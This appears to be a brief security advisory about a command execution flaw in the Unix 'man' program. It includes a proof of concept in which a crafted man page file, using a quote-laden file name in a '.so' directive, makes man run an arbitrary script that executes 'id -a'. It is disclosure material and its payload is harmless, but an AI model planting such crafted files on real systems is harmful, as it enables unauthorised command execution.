|
Man Program Unsafe Return Value Command Execution Vulnerability
The following proof of concept has been made available by Jack Lloyd <lloyd@acm.jhu.edu>: $ cat innocent.1 .so "".1 $ cat '"".1' # the outer '' quotes are for the shell the user will never see this $ cat `which unsafe` #!/bin/sh echo "oops" id -a $ man ./innocent.1 oops uid=528(lloyd) gid=100(users) groups=100(users) $ |
|
 Privacy Statement |
